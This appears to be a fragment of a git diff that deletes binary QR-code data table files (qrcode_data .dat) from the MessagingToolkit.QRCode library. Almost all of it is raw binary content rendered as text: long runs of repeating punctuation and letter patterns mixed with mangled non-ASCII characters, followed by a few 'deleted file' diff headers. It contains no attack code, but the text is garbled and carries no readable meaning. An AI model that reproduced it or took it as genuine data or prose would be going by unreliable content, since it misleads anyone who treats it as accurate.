IJIJIJIJGHGHGHGFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656563434343421212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656563434343321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!      IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656563333434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9856565656434343432121210/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         IJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - -IJIJIJIHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656433333430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;:7878787856565656434343210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!       - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%$#"!"!"!"!     - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!      - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787856543434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:7878787834333333212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<9:9:9:9:7878787843434333212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787833343434212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -GHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -%%&&''((==<<;;::xwwvvuut45566778=<<;;::9\]]^^__`]\\[[ZZY<==>>??@!hgfedccb==>>??@@44332211eeffgghh - - ||{{zzyy TTSSRRQQEEFFGGHH~~}}))**++,,99332211tssrrqqp899::;;<98877665`aabbccd ~~}YXXWWVVU@AABBCCDbaa``__^AABBCCDD00//..--iijjkkllxxwwvvuu!!""##$$PPOONNMMIIJJKKLL ]]\\[[ZZ||{{zzyy--..//0000//..--poonnmml<==>>??@54433221deeffggh - - }||{{zzy UTTSSRRQDEEFFGGH^]]\\[[ZEEFFGGHH,,++**))mmnnooppttssrrqq%%&&''((LLKKJJIIMMNNOOPP - - YYXXWWVVxxwwvvuu11223344,,++**))lkkjjiih@AABBCCD100//..-hiijjkkl yxxwwvvu !!""##$QPPOONNMHIIJJKKL ZYYXXWWVIIJJKKLL((''&&%%qqrrssttppoonnmm))**++,,HHGGFFEEQQRRSSTTUUTTSSRRttssrrqq55667788((''&&%%gfedccbbDEEFFGGH-,,++**)lmmnnooputtssrrq$%%&&''(MLLKKJJILMMNNOOP - - VUUTTSSRMMNNOOPP$$##""!!uuvvwwxxllkkjjii--..//00DDCCBBAAUUVVWWXX QQPONMLKppoonnmm99::;;<<$$##""!!aa``__^^HIIJJKKL)((''&&%pqqrrsstqppoonnm())**++,IHHGGFFEPQQRRSSTRQQPONMLQQRRSSTT yyzz{{|| - - hhggffee11223344@@??>>==YYZZ[[\\ - - KJJIIHHGllkkjjii==>>??@@]]\\[[ZZLMMNNOOP%$$##""!tuuvvwwxmllkkjji,--..//0EDDCCBBATUUVVWWX KKJJIIHHUUVVWWXX}}~~ ddccbbaa55667788<<;;::99]]^^__``GFFEEDDChhggffeeAABBCCDDYYXXWWVVPQQRRSST! xyyzz{{| - - ihhggffe01122334A@@??>>=XYYZZ[[\ - - GGFFEEDDYYZZ[[\\``__^^]]99::;;<<88776655aabbccddCBBAA@@?ddccbbaaEEFFGGHHUUTTSSRRTUUVVWWX|}}~~ eddccbba45566778=<<;;::9\]]^^__` CCBBAA@@]]^^__``\\[[ZZYY==>>??@@44332211eeffgghh?>>==<<;``__^^]]IIJJKKLL QQPONMLKXYYZZ[[\a``__^^]899::;;<98877665`aabbccd??>>==<>??@54433221deeffggh;;::9987eeffgghh - - ||{{zzyy TTSSRRQQEEFFGGHH,,++**))mmnnoopp##$$%%&&54332211XXWWVVUUQQRRSSTT - - GFFEEDDC`aabbccd ~~}YXXWWVVU@AABBCCD100//..-hiijjkkl!!"65433221iijjkkllxxwwvvuu!!""##$$PPOONNMMIIJJKKLL((''&&%%qqrrsstt''(())**00//..--TTSSRRQQUUVVWWXXCBBAA@@?deeffggh - - }||{{zzy UTTSSRRQDEEFFGGH-,,++**)lmmnnoop"##$$%%&100//..-mmnnooppttssrrqq%%&&''((LLKKJJIIMMNNOOPP$$##""!!uuvvwwxx++,,--..,,++**))PPOONNMMYYZZ[[\\?>>==<<;hiijjkkl yxxwwvvu !!""##$QPPOONNMHIIJJKKL)((''&&%pqqrrsst&''(())*-,,++**)qqrrssttppoonnmm))**++,,HHGGFFEEQQRRSSTT yyzz{{||//001122((''&&%%LLKKJJII]]^^__``;::99876lmmnnooputtssrrq$%%&&''(MLLKKJJILMMNNOOP%$$##""!tuuvvwwx*++,,--.)((''&&%uuvvwwxxllkkjjii--..//00DDCCBBAAUUVVWWXX}}~~3399::;;$$##""!!HHGGFFEEaabbccdd!!""54332211pqqrrsstqppoonnm())**++,IHHGGFFEPQQRRSST! xyyzz{{|.//00112%$$##""!yyzz{{|| - - hhggffee11223344@@??>>==YYZZ[[\\<<==>>?? DDCCBBAAeeffgghh##$$%%&&00//..--tuuvvwwxmllkkjji,--..//0EDDCCBBATUUVVWWX|}}~~23399::;! }}~~ ddccbbaa55667788<<;;::99]]^^__``@@AABBCC@@??>>==iijjkkll''(())**,,++**))xyyzz{{| - - ihhggffe01122334A@@??>>=XYYZZ[[\;<<==>>?``__^^]]99::;;<<88776655aabbccdd {{zzyyxxDDEEFFGG<<;;::99mmnnoopp++,,--..((''&&%%|}}~~ eddccbba45566778=<<;;::9\]]^^__`?@@AABBC\\[[ZZYY==>>??@@44332211eeffgghh - - wwvvuuttHHIIJJKK88776655qqrrsstt//001122$$##""!!a``__^^]899::;;<98877665`aabbccd {{zzyyxCDDEEFFG~~}}XXWWVVUUAABBCCDD00//..--iijjkkllssrrqqppQQRRSSTT -44332211uuvvwwxx3399::;; ]\\[[ZZY<==>>??@54433221deeffggh - - xwwvvuutGHHIIJJK ||{{zzyy TTSSRRQQEEFFGGHH,,++**))mmnnooppoonnmmllUUVVWWXX - 00//..--yyzz{{||<<==>>??~~}YXXWWVVU@AABBCCD100//..-hiijjkkl tssrrqqpKQQRRSST - - xxwwvvuu!!""##$$PPOONNMMIIJJKKLL((''&&%%qqrrssttkkjjiiccYYZZ[[\\,,++**))}}~~@@AABBCC}||{{zzy UTTSSRRQDEEFFGGH-,,++**)lmmnnooppoonnmmlTUUVVWWXttssrrqq%%&&''((LLKKJJIIMMNNOOPP$$##""!!uuvvwwxxbbaa``__]]^^__``((''&&%%DDEEFFGGyxxwwvvu !!""##$QPPOONNMHIIJJKKL)((''&&%pqqrrsstlkkjjiicXYYZZ[[\ppoonnmm))**++,,HHGGFFEEQQRRSSTT yyzz{{|| - - ^^]]\\[[aabbccii $$##""!!HHIIJJKK -uttssrrq$%%&&''(MLLKKJJILMMNNOOP%$$##""!tuuvvwwxcbbaa``_\]]^^__`llkkjjii--..//00DDCCBBAAUUVVWWXX}}~~ ZZYYXXWWjjkkllmm - - {{zzyyxxQQRRSSTT - qppoonnm())**++,IHHGGFFEPQQRRSST! xyyzz{{| - - _^^]]\\[`aabbcci - - hhggffee11223344@@??>>==YYZZ[[\\VVUUTTSSnnooppqq wwvvuuttUUVVWWXXmllkkjji,--..//0EDDCCBBATUUVVWWX|}}~~ [ZZYYXXWijjkkllm ddccbbaa55667788<<;;::99]]^^__``RRQQKKJJrrssttuussrrqqppYYZZ[[\\ - - ihhggffe01122334A@@??>>=XYYZZ[[\WVVUUTTSmnnooppq``__^^]]99::;;<<88776655aabbccdd ~~}}IIHHGGFFvvwwxxyyoonnmmll]]^^__`` eddccbba45566778=<<;;::9\]]^^__`SRRQQKKJqrrssttu\\[[ZZYY==>>??@@44332211eeffgghh - - ||{{zzyy EEDDCCBBzz{{ kkjjiiccaabbcciia``__^^]899::;;<98877665`aabbccd ~~}JIIHHGGFuvvwwxxyXXWWVVUUAABBCCDD00//..--iijjkkllxxwwvvuu!!""##$$AA@@??>> ! - - bbaa``__jjkkllmm]\\[[ZZY<==>>??@54433221deeffggh - - }||{{zzy FEEDDCCByzz{{ TTSSRRQQEEFFGGHH,,++**))mmnnooppttssrrqq%%&&''((==<<;;::~}!""##$$% - - ^^]]\\[[nnooppqqYXXWWVVU@AABBCCD100//..-hiijjkkl yxxwwvvu !!""##$BAA@@??>!!""##$$PPOONNMMIIJJKKLL((''&&%%qqrrssttppoonnmm))**++,,99332211|{{zzyyx%&&''(() ZZYYXXWWrrssttuu UTTSSRRQDEEFFGGH-,,++**)lmmnnooputtssrrq$%%&&''(>==<<;;:~%%&&''((LLKKJJIIMMNNOOPP$$##""!!uuvvwwxxllkkjjii--..//0000//..--xwwvvuut)**++,,-VVUUTTSSvvwwxxyy !!""##$QPPOONNMHIIJJKKL)((''&&%pqqrrsstqppoonnm())**++,:9933221}|{{zzyy))**++,,HHGGFFEEQQRRSSTT yyzz{{|| - - hhggffee11223344,,++**))tssrrqqp-..//001RRQQKKJJzz{{$%%&&''(MLLKKJJILMMNNOOP%$$##""!tuuvvwwxmllkkjji,--..//0100//..-xxwwvvuu--..//00DDCCBBAAUUVVWWXX}}~~ ddccbbaa55667788((''&&%%poonnmml12233445IIHHGGFF())**++,IHHGGFFEPQQRRSST! xyyzz{{| - - ihhggffe01122334-,,++**)ttssrrqq11223344@@??>>==YYZZ[[\\``__^^]]99::;;<<$$##""!!lkkjjiih56677889 EEDDCCBB~},--..//0EDDCCBBATUUVVWWX|}}~~ eddccbba45566778)((''&&%ppoonnmm55667788<<;;::99]]^^__``\\[[ZZYY==>>??@@gfedccbb9::;;<<=!!""##$$AA@@??>>|{{zzyyx01122334A@@??>>=XYYZZ[[\a``__^^]899::;;<%$$##""!llkkjjii99::;;<<88776655aabbccdd ~~}}XXWWVVUUAABBCCDDaa``__^^=>>??@@AABBCCDDE0//..--,ijjkkllmxwwvvuut!""##$$%POONNMMLIJJKKLLM YXXWWVVUJJKKLLMM''&&%%$$rrssttuuoonnmmll**++,,--GGFFEEDDRRSSTTUUPONMLKKJRSSTTUUVz{{||}}~ - gffeeddc23344556?>>==<<;Z[[\\]]^100//..-EFFGGHHI,++**))(mnnooppqtssrrqqp%&&''(()LKKJJIIHMNNOOPPQ - - UTTSSRRQNNOOPPQQ##""!! vvwwxxyy kkjjiihh..//0011CCBBAA@@VVWWXXYY - -JIIHHGGFVWWXXYYZ~cbbaa``_6778899:;::99887^__``aab!!""#-,,++**)IJJKKLLM(''&&%%$qrrssttupoonnmml)**++,,-HGGFFEEDQRRSSTTUQPONMLKKRRSSTTUUzz{{||}} - - ggffeedd22334455??>>==<76655443bccddeef#$$%%&&')((''&&%MNNOOPPQ$##""!! uvvwwxxy lkkjjiih-..//001DCCBBAA@UVVWWXXY -JJIIHHGGVVWWXXYY~~ccbbaa``66778899;;::9988^^__``aaBAA@@??>^__``aab[ZZYYXXW>??@@AAB3221100/fgghhiij'(())**+%$$##""!QRRSSTTU yzz{{||} - - hggffeed12233445@??>>====<<;;:bccddeef ~~}}||{WVVUUTTSBCCDDEEF/..--,,+jkkllmmn+,,--../! UVVWWXXY}~~ dccbbaa`56677889<;;::998]^^__``aBBAA@@??^^__``aa[[ZZYYXX>>??@@AA33221100ffgghhii:9987654fgghhiij - - {zzyyxxw !!"SRRQQPPOFGGHHIIJ+**))(('nooppqqr/0011223YZZ[[\\]`__^^]]\9::;;<<=87766554abbccdde>>==<<;;bbccddee ~~}}||WWVVUUTTBBCCDDEE//..--,,jjkkllmm!!""##33221100jkkllmmnwvvuutts"##$$%%&ONNMMLLKJKKLLMMN'&&%%$$#rssttuuv399::;;<]^^__``a\[[ZZYYX=>>??@@A43322110effgghhi::998765ffgghhii - - {{zzyyxx !!SSRRQQPPFFGGHHII++**))((nnooppqq$$%%&&''//..--,,nooppqqrsrrqqppo&''(())*KJJIIHHGNOOPPQQR#""!! vwwxxyyz<==>>??@abbccdde ~~}}|XWWVVUUTABBCCDDE0//..--,ijjkkllm!!""#43322110jjkkllmmwwvvuutt""##$$%%OONNMMLLJJKKLLMM''&&%%$$rrssttuu(())**++++**))((rssttuuvonnmmllk*++,,--.GFFEEDDCRSSTTUUVz{{||}}~@AABBCCD effgghhi - - |{{zzyyx !TSSRRQQPEFFGGHHI,++**))(mnnooppq#$$%%&&'0//..--,nnooppqqssrrqqpp&&''(())KKJJIIHHNNOOPPQQ##""!! vvwwxxyy,,--..//''&&%%$$vwwxxyyz -kjjiihhg.//00112CBBAA@@?VWWXXYYZ~DEEFFGGH - - ijjkkllmxwwvvuut!""##$$%POONNMMLIJJKKLLM(''&&%%$qrrssttu'(())**+,++**))(rrssttuuoonnmmll**++,,--GGFFEEDDRRSSTTUUzz{{||}}00112233##""!! z{{||}}~ - gffeeddc23344556?>>==<<;Z[[\\]]^||{HIIJJKKQ - - mnnooppqtssrrqqp%&&''(()LKKJJIIHMNNOOPPQ$##""!! uvvwwxxy+,,--../(''&&%%$vvwwxxyy kkjjiihh..//0011CCBBAA@@VVWWXXYY~~99::;;<<~cbbaa``_6778899:;::99887^__``aab{zzyyxxwQRRSSTTU qrrssttupoonnmml)**++,,-HGGFFEEDQRRSSTTU yzz{{||}/0011223$##""!! zz{{||}} - - ggffeedd22334455??>>==<>??@@_^^]]\\[:;;<<==>76655443bccddeef wvvuuttsUVVWWXXYuvvwwxxy lkkjjiih-..//001DCCBBAA@UVVWWXXY}~~399::;;<~~ccbbaa``66778899;;::9988^^__``aa{{AABBCCDD[ZZYYXXW>??@@AAB3221100/fgghhiij - - srrqqppoYZZ[[\\]yzz{{||} - - hggffeed12233445@??>>==>??@__^^]]\\::;;<<==77665544bbccddee zzyyxxwwEEFFGGHH ~~}}||{WVVUUTTSBCCDDEEF/..--,,+jkkllmmnonnmmllk]^^__``a}~~ dccbbaa`56677889<;;::998]^^__``a{@AABBCCD[[ZZYYXX>>??@@AA33221100ffgghhii - - vvuuttssIIJJKKQQ - - {zzyyxxw !!"SRRQQPPOFGGHHIIJ+**))(('nooppqqrkjjiiccbabbcciij `__^^]]\9::;;<<=87766554abbccdde {zzyyxxwDEEFFGGH~~}}||WWVVUUTTBBCCDDEE//..--,,jjkkllmmrrqqppooRRSSTTUU wvvuutts"##$$%%&ONNMMLLKJKKLLMMN'&&%%$$#rssttuuvbaa``__^jkkllmmn !!""##$\[[ZZYYX=>>??@@A43322110effgghhi - - wvvuuttsHIIJJKKQ - -{{zzyyxx !!SSRRQQPPFFGGHHII++**))((nnooppqqnnmmllkkVVWWXXYYsrrqqppo&''(())*KJJIIHHGNOOPPQQR#""!! vwwxxyyz -^]]\\[[Znooppqqr$%%&&''(~~}}|XWWVVUUTABBCCDDE0//..--,ijjkkllmsrrqqppoQRRSSTTU wwvvuutt""##$$%%OONNMMLLJJKKLLMM''&&%%$$rrssttuujjiiccbbZZ[[\\]]onnmmllk*++,,--.GFFEEDDCRSSTTUUVz{{||}}~ - ZYYXXWWVrssttuuv())**++,|{{zzyyx !TSSRRQQPEFFGGHHI,++**))(mnnooppqonnmmllkUVVWWXXYssrrqqpp&&''(())KKJJIIHHNNOOPPQQ##""!! vvwwxxyy aa``__^^^^__``aa -kjjiihhg.//00112CBBAA@@?VWWXXYYZ~VUUTTSSRvwwxxyyy,--..//0xwwvvuut!""##$$%POONNMMLIJJKKLLM(''&&%%$qrrssttukjjiiccbYZZ[[\\]oonnmmll**++,,--GGFFEEDDRRSSTTUUzz{{||}} - - ]]\\[[ZZbbcciijj - gffeeddc23344556?>>==<<;Z[[\\]]^RQQKKJJIyxxwwvvu01122334tssrrqqp%&&''(()LKKJJIIHMNNOOPPQ$##""!! uvvwwxxy baa``__^]^^__``a kkjjiihh..//0011CCBBAA@@VVWWXXYY~~YYXXWWVVkkllmmnncbbaa``_6778899:;::99887^__``aabIHHGGFFEuttssrrq45566778poonnmml)**++,,-HGGFFEEDQRRSSTTU yzz{{||} - - ^]]\\[[Zabbcciij - - ggffeedd22334455??>>==<76655443bccddeef ~~}}||{EDDCCBBAqppoonnm899::;;??@@AAB3221100/fgghhiij - - {zzyyxxw !!"A@@??>>=mllkkjji<==>>??@hggffeed12233445@??>>==>??@@AA33221100ffgghhii - - {{zzyyxx !!DDCCBBAA{{ !!"SRRQQPPOFGGHHIIJ+**))(('nooppqqrsrrqqppo&''(())*93322110eddccbbaDEEFFGGH`__^^]]\9::;;<<=87766554abbccdde ~~}}|IHHGGFFEvwwxxyyzWWVVUUTTBBCCDDEE//..--,,jjkkllmmwwvvuutt""##$$%%@@??>>=="##$$%%&ONNMMLLKJKKLLMMN'&&%%$$#rssttuuvonnmmllk*++,,--.0//..--,a``__^^]HIIJJKKL\[[ZZYYX=>>??@@A43322110effgghhi - - |{{zzyyx !EDDCCBBAz{{ !!SSRRQQPPFFGGHHII++**))((nnooppqqssrrqqpp&&''(())<<;;::99~}|{&''(())*KJJIIHHGNOOPPQQR#""!! vwwxxyyz -kjjiihhg.//00112,++**))(]\\[[ZZYLMMNNOOPXWWVVUUTABBCCDDE0//..--,ijjkkllmxwwvvuut!""##$$%A@@??>>=""##$$%%OONNMMLLJJKKLLMM''&&%%$$rrssttuuoonnmmll**++,,--33221100{zzyyxxw*++,,--.GFFEEDDCRSSTTUUVz{{||}}~ - gffeeddc23344556(''&&%%$YXXWWVVUPQQRRSSTTSSRRQQPEFFGGHHI,++**))(mnnooppqtssrrqqp%&&''(()=<<;;::9~}|&&''(())KKJJIIHHNNOOPPQQ##""!! vvwwxxyy kkjjiihh..//0011//..--,,wvvuutts.//00112CBBAA@@?VWWXXYYZ~cbbaa``_6778899:$##""!!UTTSSRRQTUUVVWWXPOONNMMLIJJKKLLM(''&&%%$qrrssttupoonnmml)**++,,-93322110{{zzyyxx**++,,--GGFFEEDDRRSSTTUUzz{{||}} - - ggffeedd22334455++**))((srrqqppo23344556?>>==<<;Z[[\\]]^_^^]]\\[:;;<<==>QPPOONNMXYYZZ[[\LKKJJIIHMNNOOPPQ$##""!! uvvwwxxy lkkjjiih-..//0010//..--,wwvvuutt..//0011CCBBAA@@VVWWXXYY~~ccbbaa``66778899''&&%%$$onnmmllk6778899:;::99887^__``aab[ZZYYXXW>??@@AABMLLKKJJI\]]^^__`HGGFFEEDQRRSSTTU yzz{{||} - - hggffeed12233445,++**))(ssrrqqpp22334455??>>==<76655443bccddeef ~~}}||{WVVUUTTSBCCDDEEFIHHGGFFE`aabbccdDCCBBAA@UVVWWXXY}~~ dccbbaa`56677889(''&&%%$oonnmmll66778899;;::9988^^__``aa[[ZZYYXX>>??@@AAedccbbaa>??@@AAB3221100/fgghhiij - - {zzyyxxw !!"SRRQQPPOFGGHHIIJ EDDCCBBAdeeffggh@??>>==>=hiijjkkl<;;::998]^^__``a\[[ZZYYX=>>??@@Afedccbba>>??@@AA33221100ffgghhii - - {{zzyyxx !!SSRRQQPPFFGGHHII\\[[ZZYYFGGHHIIJ+**))(('nooppqqrsrrqqppo&''(())*KJJIIHHGNOOPPQQR - =<<;;::9lmmnnoop87766554abbccdde ~~}}|XWWVVUUTABBCCDDEa``__^^]BBCCDDEE//..--,,jjkkllmmwwvvuutt""##$$%%OONNMMLLJJKKLLMM XXWWVVUUJKKLLMMN'&&%%$$#rssttuuvonnmmllk*++,,--.GFFEEDDCRSSTTUUV98877665pqqrrsst43322110effgghhi - - |{{zzyyx !TSSRRQQPEFFGGHHI]\\[[ZZYFFGGHHII++**))((nnooppqqssrrqqpp&&''(())KKJJIIHHNNOOPPQQ - - TTSSRRQQNOOPPQQR#""!! vwwxxyyz -kjjiihhg.//00112CBBAA@@?VWWXXYYZ54433221tuuvvwwxxyybdQZ|vpfXQr˂nXv`˒bHAbdQZ|f`vXZHAbbnXv`Zp˂drtnvp`JXQf~fpXQJ`ےJltH~fr˂pfpvbHAZbdQZ|`vXnHAbےdrtAH~fp`JXQf~HZp˂drtnvpے`JXf~HrXQJ`AJltfH~r˂pvnXbHAZbdQZ|`vXnZHAےnXv`p˂rdrtAvpf`JXQr`f~Jlt`vXnr˂pfpvrXQJ`AJltfH~Qr˂pfpvbHAbdQZ|f`vXZHAbv`fp˂rdrtAvpf`JXQrf~HXQJ`ےJltH~f˂p`HfpvbdQZ|vpfZHAbnXv`fbHAbdQZ|f`vXZHAۅnXv`Zp˂drtnvp`JXQ~HfpXQJ`ےJltH~fbtlfpvbHAZbdQZ|`vXnJXQrbnXvdrtAH~fے`JXQ~fpvZp˂drtnvp`JXQf~HrXQJ`AJltfH~r˂p`vnXbHAZbdQZ|`vXnJtAdnXv`p˂rdrtAvp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JlvpfH˂pZHf۝`v|drbdQZ|vXnZHAbۉlJt˂rXdrtAvpfHZHAbې~HfJ`ےltb~f`˂pZZdQbnbHAZpdQZ|vXn˂p`v`f~rXQrtAJlvpfHJXQr~HfpJ`ےtbd~f`Abے`XnvˍQtJldrtAvpfH`JXQArd|QJ`ےJlt~f``JXQpvnbHAZpdQZ|vXnHAbےXv`f˂rXQdrtAJvpfHJXQrfpvJ`ےtbd~f`˂pZHvnXbHAZpQZ|dvXnہJXQrpfH~tbAdZJlt~f`r˂pZdQbbHAZpbdQZ|vXnr˂p`Xv`f˂rXQdrtAJvpfH`JXQr~HfJ`ےltb~f`˂pZHAnXv`bHAZpQZ|dvXnAے`v`frXQrtAJlvpfH˂p`Zf۝`v|drbdQZ|vXnZHAbnXv`ˑ˂rXdrtAvpfHJXQr~fpvJ`ےltb~f`˂pZpvnbHAZpdQZ|vXnbے`f~HrXQrtAJlvpfHJXQrbt~HfpJ`ےtbd~f`QXb㉀XnvˍQtJldrtAvpfH`JXQf~HQJ`ےJlt~f`˂pZHnXv`bHAZpdQZ|vXnHAے`Xv`f˂rXQdrtAJvpfHJXQrfpvJ`ےtbd~f`lJtvnXbHAZpQZ|dvXnۑpJAHrpfH~tbAdZJlt~f`r˂pfpvbHAZpbdQZ|vXnAbے`f~H˂rXQdrtAJvpfHJXQrb~HfJ`ےltb~f`˂p`JnXv`bHAZpQZ|dvXnAd|v`frXQrtAJlvpfH󙐂ˁ`Zf۝`v|drQt}~~56666666666666666666666666666666666666 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_0.dat deleted file mode 100644 index e82090e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_1.dat deleted file mode 100644 index 5fc94c0..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_2.dat deleted file mode 100644 index 2beed99..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_3.dat deleted file mode 100644 index fd8bc28..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv2_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_0.dat deleted file mode 100644 index 45c7589..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_0.dat +++ /dev/null @@ -1,273 +0,0 @@ 